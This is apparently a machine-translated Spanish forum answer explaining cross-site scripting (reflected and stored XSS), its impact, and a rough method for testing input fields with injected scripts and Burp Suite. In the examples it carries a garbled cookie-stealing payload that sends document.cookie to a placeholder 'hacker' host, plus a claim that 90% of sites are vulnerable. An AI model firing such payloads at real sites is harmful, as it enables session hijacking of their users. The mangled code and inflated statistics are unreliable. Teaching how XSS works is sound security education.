¿Cuál es el método paso a paso para encontrar la vulnerabilidad XSS en un sitio web?

Cross-Site Scripting (también conocido como XSS) es uno de los ataques web de capa de aplicación más comunes. Las vulnerabilidades XSS se dirigen a scripts incrustados en una página que se ejecutan en el lado del cliente (en el navegador web del usuario) en lugar de en el lado del servidor. XSS en sí mismo es una amenaza provocada por las debilidades de seguridad de Internet de los lenguajes de script del lado del cliente, como HTML y JavaScript. El concepto de XSS es manipular los scripts del lado del cliente de una aplicación web para ejecutarlos de la manera deseada por el usuario malintencionado. Tal manipulación puede incrustar un script en una página que se puede ejecutar cada vez que se carga la página, o cada vez que se realiza un evento asociado.

XSS es la vulnerabilidad de seguridad más común en el software actual. Este no debería ser el caso, ya que XSS es fácil de encontrar y de solucionar. Las vulnerabilidades de XSS pueden tener consecuencias como la manipulación y el robo de datos confidenciales.

Conceptos clave de XSS

  • XSS es un ataque basado en web realizado en aplicaciones web vulnerables.
  • En los ataques XSS, la víctima es el usuario y no la aplicación.
  • En los ataques XSS, el contenido malicioso se entrega a los usuarios que usan JavaScript.

Explicando las secuencias de comandos entre sitios

Una vulnerabilidad XSS surge cuando las aplicaciones web toman datos de los usuarios y los incluyen dinámicamente en las páginas web sin primero validar adecuadamente los datos. Las vulnerabilidades XSS permiten que un atacante ejecute comandos arbitrarios y muestre contenido arbitrario en el navegador de un usuario víctima. Un ataque XSS exitoso lleva a un atacante a controlar el navegador o la cuenta de la víctima en la aplicación web vulnerable. Aunque XSS está habilitado por páginas vulnerables en una aplicación web, las víctimas de un ataque XSS son los usuarios de la aplicación, no la aplicación en sí. La potencia de una vulnerabilidad XSS radica en el hecho de que el código malicioso se ejecuta en el contexto de la sesión de la víctima, lo que permite al atacante eludir las restricciones de seguridad normales.

Ejemplos de ataques XSS

XSS reflectante
Hay muchas maneras en que un atacante puede atraer a una víctima para que inicie una solicitud XSS reflexiva. Por ejemplo, el atacante podría enviar a la víctima un correo electrónico engañoso con un enlace que contenga JavaScript malicioso. Si la víctima hace clic en el enlace, la solicitud HTTP se inicia desde el navegador de la víctima y se envía a la aplicación web vulnerable. El JavaScript malicioso se refleja nuevamente en el navegador de la víctima, donde se ejecuta en el contexto de la sesión del usuario de la víctima.

XSS persistente

Considere una aplicación web que permita a los usuarios ingresar un nombre de usuario que se muestra en la página de perfil de cada usuario. La aplicación almacena cada nombre de usuario en una base de datos local. Un usuario malintencionado se da cuenta de que la aplicación web no puede desinfectar el campo de nombre de usuario e ingresa código JavaScript malicioso como parte de su nombre de usuario. Cuando otros usuarios ven la página de perfil del atacante, el código malicioso se ejecuta automáticamente en el contexto de su sesión.

Impacto de las secuencias de comandos entre sitios

Cuando los atacantes logran explotar las vulnerabilidades XSS, pueden obtener acceso a las credenciales de la cuenta. También pueden propagar gusanos web o acceder a la computadora del usuario y ver el historial del navegador del usuario o controlar el navegador de forma remota. Después de obtener el control del sistema de la víctima, los atacantes también pueden analizar y usar otras aplicaciones de intranet.
Al explotar las vulnerabilidades XSS, un atacante puede realizar acciones maliciosas, como:

  • Secuestrar una cuenta.
  • Difundir gusanos web.
  • Acceda al historial del navegador y al contenido del portapapeles.
  • Controla el navegador de forma remota.
  • Escanee y explote los dispositivos y aplicaciones de la intranet.

Identificación de vulnerabilidades de secuencias de comandos entre sitios

Las vulnerabilidades XSS pueden ocurrir si:

  • La entrada que ingresa a las aplicaciones web no está validada
  • La salida al navegador no está codificada en HTML

Ejemplos XSS

Ejemplo 1.
Por ejemplo, el fragmento de HTML:
Documento de ejemplo:% (título)
está destinado a ilustrar un fragmento de plantilla que, si el título de la variable tiene un valor de Cross-Site Scripting, da como resultado que se emita el siguiente HTML para el navegador:
Documento de ejemplo: XSS Doc
Un sitio que contiene un campo de búsqueda no tiene la desinfección de entrada adecuada. Al elaborar una consulta de búsqueda con un aspecto similar a este:
“> var + img = new + Image (); img.src =” http: // hacker / “% 20 +% 20document.cookie;
sentado en el otro extremo, en el servidor web, recibirá visitas donde, después de un doble espacio, se encuentra la cookie del usuario. Si un administrador hace clic en el enlace, un atacante podría robar el ID de sesión y secuestrar la sesión.

Ejemplo 2
Supongamos que hay una URL en el sitio de Google, http://www.google.com/search?q=f…, que devuelve documentos HTML que contienen el fragmento

Su búsqueda de ‘flores’ arrojó los siguientes resultados:


es decir, el valor del parámetro de consulta q se inserta en la página devuelta por Google. Supongamos además que los datos no se validan, filtran o escapan.
http://Evil.org podría abrir una página que haga que se cargue la siguiente URL en el navegador (por ejemplo, en un invisible):
http://www.google.com/search?q=f… ()% 3C / script% 3E

Cuando una víctima carga esta página desde www.evil.org, el navegador cargará el iframe desde la URL anterior. El documento cargado en el iframe ahora contendrá el fragmento

Su búsqueda de ‘flowers evil_script () ‘
devolvió los siguientes resultados:


Al cargar esta página, el navegador ejecutará evil_script () . Además, este script se ejecutará en el contexto de una página cargada desde www.google.com .

Para encontrar la vulnerabilidad xss en cualquier sitio web.

  1. encuentre todas las entradas archivadas como búsqueda, cuadro de comentarios, nombre de usuario, contraseña, formulario de comentarios, formulario de contacto. Encuentre todo el formulario
  2. Ahora, uno por uno, intente inyectar un script simple como esta alerta . pruebe este script simple en cada campo de texto y analice la respuesta o incluso analice la respuesta con la ayuda de la herramienta burp suite. si el script se ejecuta correctamente y muestra el cuadro de aler, entonces el sitio web tiene la vulnerabilidad xss. El 90% del sitio web es un sitio vulnerable basado en dom.
  3. Intente inyectar este script simple de manera diferente. puedes aprender la manera diferente de os xss desde este sitio.
  4. https://xss-quiz.int21h.jp/ este sitio web tiene 21 etapas, borras todas las etapas, estoy 100% seguro de que encontrarás vulnerabilidad xss en 80% en el sitio web de Surface.

Espero que esta información te ayude a convertirte en una persona con más conocimientos.

gracias

Primero cómo encontrar xss por akshar javed

2º sin pasar por waf por mi favorito rafay baloch

Creo que esto debería ser una metodología paso a paso.